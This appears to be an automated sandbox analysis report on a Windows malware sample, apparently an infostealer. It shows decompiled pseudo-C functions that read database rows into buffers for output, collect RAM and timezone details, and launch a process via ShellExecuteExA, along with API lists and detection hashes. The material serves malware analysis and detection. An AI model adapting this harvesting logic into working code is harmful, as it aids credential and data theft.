Part of subcall function 004074C0: getenv.MSVCRT(00562D50), ref: 004074D6
Part of subcall function 004074C0: _putenv.MSVCRT(00000000), ref: 00407518
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00564680), ref: 0040755F
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00564740), ref: 00407578
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00563C00), ref: 00407590
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00564608), ref: 004075A8
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00563C20), ref: 004075C1
Part of subcall function 004074C0: GetProcAddress.KERNEL32(00000000,00564620), ref: 004075D9

Strings

8@V, xrefs: 0040A1E1
xBV, xrefs: 0040A220

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$_putenvgetenv
String ID: 8@V$xBV
API String ID: 3193440013-2334055563
Opcode ID: 9a691fc7078de1cece8442e5add29220a4dc6ad915fc7b756f28226ff49b3f0d
Instruction ID: 74a8d89b5574ee7ce7e5c3efbc4690f25d6a03232d8e4bfccd73cdbced759180
Opcode Fuzzy Hash: 9a691fc7078de1cece8442e5add29220a4dc6ad915fc7b756f28226ff49b3f0d
Instruction Fuzzy Hash: F2218BB694020CABCB10EFA0DC85FEB3378AB54304F0445BEB51953191EBB5A595CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407CD0, Relevance: 7.6, APIs: 5, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00407CD0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				CHAR* _v280;
				CHAR* _v284;
				CHAR* _v288;
				intOrPtr _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v268, 0x104);
				_t30 =  *0x41fbb8; // 0x563c80
				 *0x420018( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v272); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41fe94; // 0x55b200
					_t35 =  *0x41ff90(_v272, _t67, 0xffffffff,  &_v276, 0); // executed
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v276);
						return  *0x41ffdc(_v272);
					}
					_t40 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
					_v280 = _t40;
					while(1) {
						_t41 =  *0x41ffac(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v276, 0);
						_t48 =  *0x41ffc8(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						lstrcatA(_v280, _v288);
						lstrcatA(_v280, "\t");
						lstrcatA(_v280, _v284);
						lstrcatA(_v280, "\n");
					}
					E004133B0(_a24,  &_v268, _v280,  *0x42009c(_v280));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00407ce5
0x00407cf2
0x00407cff
0x00407d13
0x00407d19
0x00407d1e
0x00407d2f
0x00407d3d
0x00407d43
0x00407d48
0x00407e38
0x00407e3f
0x00000000
0x00407e55
0x00407d5c
0x00407d62
0x00407d68
0x00407d6f
0x00407d75
0x00407d7b
0x00000000
0x00000000
0x00407d93
0x00407da2
0x00407da8
0x00407dab
0x00407dbf
0x00407dd1
0x00407de5
0x00407df7
0x00407df7
0x00407e22
0x00407e27
0x00407e33
0x00000000
0x00407e33
0x00407e5b

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00407D5C
lstrcatA.KERNEL32(?,?), ref: 00407DBF
lstrcatA.KERNEL32(?,0041D92C), ref: 00407DD1
lstrcatA.KERNEL32(?,?), ref: 00407DE5
lstrcatA.KERNEL32(?,0041D304), ref: 00407DF7

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocateHeap
String ID:
API String ID: 116229782-0
Opcode ID: 00c8339785d564f195c428243ef4baaa1344562408a68bc3753e4c76e449c26a
Instruction ID: 10596d3d1e1592b2090c89d736b0604b1e1e84b2ac3a9f5e3ca98d39017b6882
Opcode Fuzzy Hash: 00c8339785d564f195c428243ef4baaa1344562408a68bc3753e4c76e449c26a
Instruction Fuzzy Hash: 6A4185B190021C9BCB24DBA4DC4AFEA7378AF08700F0085E9F70993141D7759A95CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004081D0, Relevance: 7.6, APIs: 5, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E004081D0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				intOrPtr _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v276, 0x104);
				_t30 =  *0x41fbc4; // 0x563d80
				 *0x420018( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v8); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41ff38; // 0x558db0
					_t35 =  *0x41ff90(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t40 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
					_v284 = _t40;
					while(1) {
						_t41 =  *0x41ffac(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v280, 0);
						_t48 =  *0x41ffc8(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "\n");
						lstrcatA(_v284, _v292);
						lstrcatA(_v284, "\n\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x004081e5
0x004081f2
0x004081ff
0x00408210
0x00408216
0x0040821b
0x0040822c
0x00408237
0x0040823d
0x00408242
0x00408332
0x00408339
0x00000000
0x0040834c
0x00408256
0x0040825c
0x00408262
0x00408269
0x0040826f
0x00408275
0x00000000
0x00000000
0x0040828d
0x0040829c
0x004082a2
0x004082a5
0x004082b9
0x004082cb
0x004082df
0x004082f1
0x004082f1
0x0040831c
0x00408321
0x0040832d
0x00000000
0x0040832d
0x00408352

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00408256
lstrcatA.KERNEL32(?,?), ref: 004082B9
lstrcatA.KERNEL32(?,0041D304), ref: 004082CB
lstrcatA.KERNEL32(?,?), ref: 004082DF
lstrcatA.KERNEL32(?,0041D300), ref: 004082F1

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocateHeap
String ID:
API String ID: 116229782-0
Opcode ID: 7f3ddf8b78807256f133b6ad38edeacfd6c093861ec2c5c7b8e1110db3c897d2
Instruction ID: a7b3952acb17ebf2f57f722d4efab785d86e27a29405a3ff7c64e5966c61f2f1
Opcode Fuzzy Hash: 7f3ddf8b78807256f133b6ad38edeacfd6c093861ec2c5c7b8e1110db3c897d2
Instruction Fuzzy Hash: 684196B190021CABCB14DBA4DC4AFDA7378AF48700F0085A9F709D3181DB759A96CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405C80, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405C80(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				intOrPtr _t43;
				intOrPtr _t45;
				char _t46;
				intOrPtr _t49;
				char _t50;
				intOrPtr _t53;
				char _t54;
				intOrPtr _t57;
				char _t58;
				intOrPtr _t62;
				char _t73;
				void* _t74;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t115;

				_t100 = __edi;
				_t74 = __ebx;
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v276, 0x104);
				_t43 =  *0x41f9b0; // 0x562a10
				_t77 =  &_v540;
				 *0x420018( &_v540, _t43, _a4);
				_t102 = _t101 + 0xc;
				_t120 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413300(0, 0x6400000, 0);
					_t102 = _t102 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BCA0(_t77, _t120, 0x1a); // executed
				_t46 =  *0x41fd20; // 0x562830
				E0040BC50(_a12,  &_v276, E0040BBA0(_a12, _t46, _t45));
				_t49 = E0040BCA0(_a12, _t120, 0x1c);
				_t50 =  *0x41fcc4; // 0x5629f8
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t50, _t49));
				_t53 = E0040BCA0( &_v276, _t120, 0x28);
				_t54 =  *0x41faa4; // 0x5628d8
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t54, _t53));
				_t57 = E0040BCA0( &_v276, _t120, 0x10); // executed
				_t58 =  *0x41fc40; // 0x562848
				E0040BC50( &_v276,  &_v276, E0040BBA0( &_v276, _t58, _t57));
				_t62 = E00413451(_t74,  &_v276, _t100, _a16, ",",  &_v548);
				_t115 = _t102 + 0x6c;
				_v544 = _t62;
				while(1) {
					_t121 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405990(_t74, _t100, _t121, _a4, _v8, 0x4187ce,  &_v276, _v544, _a20, _a8, _a28, _a32); // executed
					_t62 = E00413451(_t74, _v8, _t100, 0, ",",  &_v548);
					_t115 = _t115 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E004133D0(_v8,  &_v552,  &_v556);
					E004133B0(_a24,  &_v540, _v552, _v556);
					return E0040B2C0( &_v8, 4);
				}
				return _t62;
			}

0x00405c80
0x00405c80
0x00405c95
0x00405ca6
0x00405caf
0x00405cb5
0x00405cbc
0x00405cc2
0x00405cc5
0x00405cc9
0x00405ce4
0x00405ccb
0x00405cd4
0x00405cd9
0x00405cdc
0x00405cdc
0x00405ce9
0x00405cf2
0x00405d0c
0x00405d16
0x00405d1f
0x00405d3c
0x00405d46
0x00405d4f
0x00405d6c
0x00405d76
0x00405d7f
0x00405d9c
0x00405db4
0x00405db9
0x00405dbc
0x00405dc2
0x00405dc2
0x00405dc9
0x00000000
0x00000000
0x00405df6
0x00405e0c
0x00405e11
0x00405e14
0x00405e14
0x00405e1c
0x00405e20
0x00405e34
0x00405e55
0x00000000
0x00405e63
0x00405e6b

APIs

_strtok_s.LIBCMT ref: 00405DB4
_strtok_s.LIBCMT ref: 00405E0C

Strings

H(V, xrefs: 00405D7F
0(V, xrefs: 00405CF2

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _strtok_s
String ID: 0(V$H(V
API String ID: 3897208846-3878648166
Opcode ID: eb197e98d2e19060f5987d762276a8ba4db074c9195c3259ab2cbce61f4d3040
Instruction ID: ee9e13e9de76086adea6779e2b397eaac68ac1996e4dde45a6a6be369f26ee90
Opcode Fuzzy Hash: eb197e98d2e19060f5987d762276a8ba4db074c9195c3259ab2cbce61f4d3040
Instruction Fuzzy Hash: 225179F6D4010CABD714EF94DC46FDB7378AB58304F0445ADB609A2181EB78AB848FE9

Uniqueness

Uniqueness Score: -1.00%

Function 00408090, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408090(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				intOrPtr _t25;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t36;
				CHAR* _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B2C0( &_v276, 0x104);
				_t25 =  *0x41f82c; // 0x563ca0
				 *0x420018( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41ffd8(_a4,  &_v8); // executed
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41fbdc; // 0x563d20
					_t30 =  *0x41ff90(_v8, _t56, 0xffffffff,  &_v280, 0); // executed
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t35 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
					_v284 = _t35;
					while(1) {
						_t36 =  *0x41ffac(_v280); // executed
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41ffc8(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t64 = _t67 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x004080a5
0x004080b2
0x004080bf
0x004080d0
0x004080d6
0x004080db
0x004080ec
0x004080f7
0x004080fd
0x00408102
0x004081ad
0x004081b4
0x00000000
0x004081c7
0x00408116
0x0040811c
0x00408122
0x00408129
0x0040812f
0x00408135
0x00000000
0x00000000
0x00408140
0x00408146
0x00408149
0x0040815d
0x0040816f
0x0040816f
0x00408197
0x0040819c
0x004081a8
0x00000000
0x004081a8
0x004081cd

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00408116
lstrcatA.KERNEL32(?,?), ref: 0040815D
lstrcatA.KERNEL32(?,0041D304), ref: 0040816F

Strings

=V, xrefs: 004080EC

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocateHeap
String ID: =V
API String ID: 116229782-804004749
Opcode ID: 20510c71d811bedbd717bbe74a989e6600c2210c7e1a16430db7e543dba42fb8
Instruction ID: 77094c5236896d4d68b7cf5e8a97f3419de723a4a06618c0d0e2320b209186d5
Opcode Fuzzy Hash: 20510c71d811bedbd717bbe74a989e6600c2210c7e1a16430db7e543dba42fb8
Instruction Fuzzy Hash: BF3165B190010CABCB14DBA4DC4AFDA7378AF08704F0085A9F709D7191DB759A56CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB80, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AB80(void* __ecx) {
				void* _v8;
				long _v16;
				long _v20;
				long _v72;
				intOrPtr _v76;
				char _v84;
				void* _t19;
				void* _t25;
				long _t29;

				_t25 = __ecx;
				_v8 = HeapAlloc( *0x420200(), 0, 0x104);
				E0040B280(_t25,  &_v84, 0, 0x40);
				_v84 = 0x40;
				_t19 =  *0x420250( &_v84); // executed
				if(_t19 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t29 = _v72;
					_v20 = E00416720(_v76, _t29, 0x100000, 0);
					_v16 = _t29;
				}
				 *0x420018(_v8, "%d MB", _v20, _v16);
				return _v8;
			}

0x0040ab80
0x0040ab9a
0x0040aba5
0x0040abaa
0x0040abb5
0x0040abbe
0x0040abdc
0x0040abe3
0x0040abc0
0x0040abc7
0x0040abd4
0x0040abd7
0x0040abd7
0x0040abfb
0x0040ac0a

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040AB94
__aulldiv.LIBCMT ref: 0040ABCF

Strings

%d MB, xrefs: 0040ABF2
@, xrefs: 0040ABAA

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap__aulldiv
String ID: %d MB$@
API String ID: 2756366572-3474575989
Opcode ID: dd5f927c249fbe3d2b38a77ee298093766650e7f7380a71e65efca9dd0fb7724
Instruction ID: eab95adbd45994052ad12e029988f48a086f2e7ba9e133ae89b32654ed09edfc
Opcode Fuzzy Hash: dd5f927c249fbe3d2b38a77ee298093766650e7f7380a71e65efca9dd0fb7724
Instruction Fuzzy Hash: 280140B0E00208ABDB10DFD4CC49FAEB7B9FB04704F504559F614BB2C1D7B899018B99

Uniqueness

Uniqueness Score: -1.00%

Function 00412290, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412290(intOrPtr __ecx, char _a4) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t85;
				void* _t120;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x48)) == 0) {
					_t85 = E0040B130(__ecx, 0x6afa8); // executed
					_t120 = _t120 + 4;
					_v16 = _t85;
					_t126 = _v16;
					if(_v16 == 0) {
						_v24 = 0;
					} else {
						_v24 = E004123F0(_v16, _t126);
					}
					 *((intOrPtr*)(_v20 + 0x48)) = _v24;
				}
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0xc)) = E004120A0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x10)) = E00411900;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)))) = _v20;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)) = 8;
				 *((char*)( *((intOrPtr*)(_v20 + 0x48)) + 8)) =  *((intOrPtr*)(_v20 + 0x6c));
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((short*)( *((intOrPtr*)(_v20 + 0x48)) + 0xe7e)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6af70)) = 0;
				E0040E9D0( *((intOrPtr*)(_v20 + 0x48)), _v20 + 0x94, 0x4000, 1);
				_t44 =  &_a4; // 0x412d5e
				E0040CF70( *((intOrPtr*)(_v20 + 0x48)),  *_t44 + 0x2a);
				_t47 =  &_a4; // 0x412d5e
				E0040EF90( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *((intOrPtr*)(_v20 + 0x48)),  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *_t47 + 4);
				_v12 = E0040FA60( *((intOrPtr*)(_v20 + 0x48)));
				_t57 =  &_v12; // 0x412d5e
				 *((intOrPtr*)(_v20 + 0x90)) =  *_t57;
				_v8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) != 0) {
					_v8 = 0x5000000;
				}
				return _v8;
			}

0x00412296
0x004122a0
0x004122a7
0x004122ac
0x004122af
0x004122b2
0x004122b6
0x004122c5
0x004122b8
0x004122c0
0x004122c0
0x004122d2
0x004122d2
0x004122db
0x004122eb
0x004122f8
0x00412308
0x00412310
0x00412323
0x0041232c
0x0041233e
0x0041234b
0x0041236d
0x00412375
0x00412383
0x0041238b
0x004123a3
0x004123ba
0x004123c0
0x004123c3
0x004123c9
0x004123dd
0x004123df
0x004123df
0x004123ec

APIs

new[].LIBCMTD ref: 004122A7

Strings

^-A, xrefs: 004123C0
^-A, xrefs: 00412375, 0041238B, 0041237B, 00412391

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: new[]
String ID: ^-A$^-A
API String ID: 4059295235-1487157951
Opcode ID: 670bcd1f6c7a99525a340e7b37f60a5fea5a04a7bd9533af9d76707ab0df1e4a
Instruction ID: edfa12bd1e305194155546270f13f7a6e75403c5354cb0113543e852d6469b74
Opcode Fuzzy Hash: 670bcd1f6c7a99525a340e7b37f60a5fea5a04a7bd9533af9d76707ab0df1e4a
Instruction Fuzzy Hash: A2412DB4A00209DFCB04DF98D894BAEB7B1FF48304F1445A8E9156B392D776AD81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040BCF0(void* __ecx) {
				struct _SHELLEXECUTEINFOA _v64;
				char _v332;
				char _v596;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B2C0( &_v596, 0x104);
				E0040B2C0( &_v332, 0x104);
				 *0x4200c0(0,  &_v332, 0x104);
				_t37 =  *0x41fa70; // 0x565dc0
				 *0x420018( &_v596, _t37,  &_v332);
				E0040B280(_t37,  &_v64, 0, 0x3c);
				_v64.cbSize = 0x3c;
				_v64.fMask = 0;
				_v64.hwnd = 0;
				_t38 =  *0x41fe3c; // 0x55eb30
				_v64.lpVerb = _t38;
				_t43 =  *0x41ff18; // 0x55f700
				_v64.lpFile = _t43;
				_v64.lpParameters =  &_v596;
				_v64.lpDirectory = 0;
				_v64.nShow = 0;
				_v64.hInstApp = 0;
				ShellExecuteExA( &_v64); // executed
				E0040B2C0( &_v64, 0x3c);
				E0040B2C0( &_v596, 0x104);
				return E0040B2C0( &_v332, 0x104);
			}

0x0040bd05
0x0040bd16
0x0040bd29
0x0040bd36
0x0040bd44
0x0040bd55
0x0040bd5a
0x0040bd61
0x0040bd68
0x0040bd6f
0x0040bd75
0x0040bd78
0x0040bd7e
0x0040bd87
0x0040bd8a
0x0040bd91
0x0040bd98
0x0040bda3
0x0040bdaf
0x0040bdc0
0x0040bdd9

APIs

ShellExecuteExA.SHELL32(0000003C,?,00000000,0000003C), ref: 0040BDA3

Strings

0U, xrefs: 0040BD6F
<, xrefs: 0040BD5A

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExecuteShell
String ID: 0U$<
API String ID: 587946157-459451267
Opcode ID: cc32a7fc088cd4d7d4468e4ed57c708046282e69df202d3f82dba94d920c78b2
Instruction ID: a0aff490fc4a5749a2e0bbc5edfaefd417d16427824c959ec6c12907350029f6
Opcode Fuzzy Hash: cc32a7fc088cd4d7d4468e4ed57c708046282e69df202d3f82dba94d920c78b2
Instruction Fuzzy Hash: 04210BB5900208ABDB14EB90DC89FDEB7B8AF44704F4045AEF218B61D1DBB95649CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040A8B7
_memset.LIBCMT ref: 0040A8DB

Strings

UTC%d, xrefs: 0040A918

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap_memset
String ID: UTC%d
API String ID: 3878744752-2723047788
Opcode ID: 05a82e943a2d96f634e79e36d70fb4f1c72b4311fd52c768f0cb6cd0512ff3c1
Instruction ID: bff1a3dcf38877c07d2a4da9fed62d595ca4ec06f2f3f086ad552d2155e7a24c
Opcode Fuzzy Hash: 05a82e943a2d96f634e79e36d70fb4f1c72b4311fd52c768f0cb6cd0512ff3c1
Instruction Fuzzy Hash: DA018FB0A443189BDB309B60DC4ABA973B9AB04305F0001E5A60DA22D1DB745E84CF57

Uniqueness

Uniqueness Score: -1.00%

Function 00409F50, Relevance: 4.6, APIs: 3, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409F50(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				CHAR* _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B2C0( &_v276, 0x104);
				E0040B3A0( &_v276,  &_v276, 0x1c); // executed
				lstrcatA( &_v276, _a4);
				E0040B2C0( &_v540, 0x104);
				lstrcatA( &_v540,  &_v276);
				_t55 =  *0x41fef4; // 0x5645c0
				lstrcatA( &_v540, _t55);
				_t40 = E0040B710( &_v540); // executed
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407250( &_v540,  &_v12,  &_v8); // executed
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407150( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E00408360(0x4187ce,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				E00409940( &_v276, _a8, _a12); // executed
				return E00407150( &_v12,  &_v8);
			}

0x00409f59
0x00409f60
0x00409f73
0x00409f81
0x00409f94
0x00409fa6
0x00409fb9
0x00409fbf
0x00409fcd
0x00409fda
0x00409fdf
0x00409fe4
0x00409ff5
0x00409ffa
0x00409fff
0x0040a009
0x0040a00e
0x0040a00e
0x00409fff
0x0040a039
0x0040a050
0x0040a06b

APIs

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00409F94
lstrcatA.KERNEL32(?,?,?,00000104), ref: 00409FB9
lstrcatA.KERNEL32(?,005645C0), ref: 00409FCD

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: ec3460ac3ea0ef123a6105e69c460ff5db91c7d16727e5346cbbb93ccb12d223
Instruction ID: bb26adfc69b6beea830bee1584501e40986ba12c59a97e7d0957c661e94a07b0
Opcode Fuzzy Hash: ec3460ac3ea0ef123a6105e69c460ff5db91c7d16727e5346cbbb93ccb12d223
Instruction Fuzzy Hash: 243143B6D0020CABCB15DFD4DC86EDE737CAB58304F0445ADB605A7181EB74AB94CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A070, Relevance: 4.6, APIs: 3, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A070(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				CHAR* _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B2C0( &_v276, 0x104);
				E0040B3A0( &_v276,  &_v276, 0x1a); // executed
				lstrcatA( &_v276, _a4);
				E0040B2C0( &_v540, 0x104);
				lstrcatA( &_v540,  &_v276);
				_t50 =  *0x41fef4; // 0x5645c0
				lstrcatA( &_v540, _t50);
				_t37 = E0040B710( &_v540); // executed
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407250( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407150( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E00408360(0x4187ce,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				return E00407150( &_v12,  &_v8);
			}

0x0040a079
0x0040a080
0x0040a093
0x0040a0a1
0x0040a0b4
0x0040a0c6
0x0040a0d9
0x0040a0df
0x0040a0ed
0x0040a0fa
0x0040a0ff
0x0040a104
0x0040a115
0x0040a11a
0x0040a11f
0x0040a129
0x0040a12e
0x0040a12e
0x0040a11f
0x0040a159
0x0040a174

APIs

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040A0B4
lstrcatA.KERNEL32(?,?,?,00000104), ref: 0040A0D9
lstrcatA.KERNEL32(?,005645C0), ref: 0040A0ED

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: b40282464a79fba89dfbb2a7eb9ca4fc405d7a8e5cba793566ba21d4cc20db14
Instruction ID: 839a44eaffcdf844ef1c0e8c8c69c32a253509a02aa50cd22e1b4a041f2ba1f4
Opcode Fuzzy Hash: b40282464a79fba89dfbb2a7eb9ca4fc405d7a8e5cba793566ba21d4cc20db14
Instruction Fuzzy Hash: B13134B6D0020CABCB15DFD4DC86EDE737CAB58304F0445ADB605A7181E774A7988BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A980, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040A997
LocalAlloc.KERNEL32(00000040,?), ref: 0040A9D0

Strings

%s / %s, xrefs: 0040AA56

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Alloc$HeapLocal
String ID: %s / %s
API String ID: 342059928-2910687431
Opcode ID: 4ce7fbfb40e2f00fb4dc1e40e9a1284c56ad4381bd5c56e1710dd8a692079903
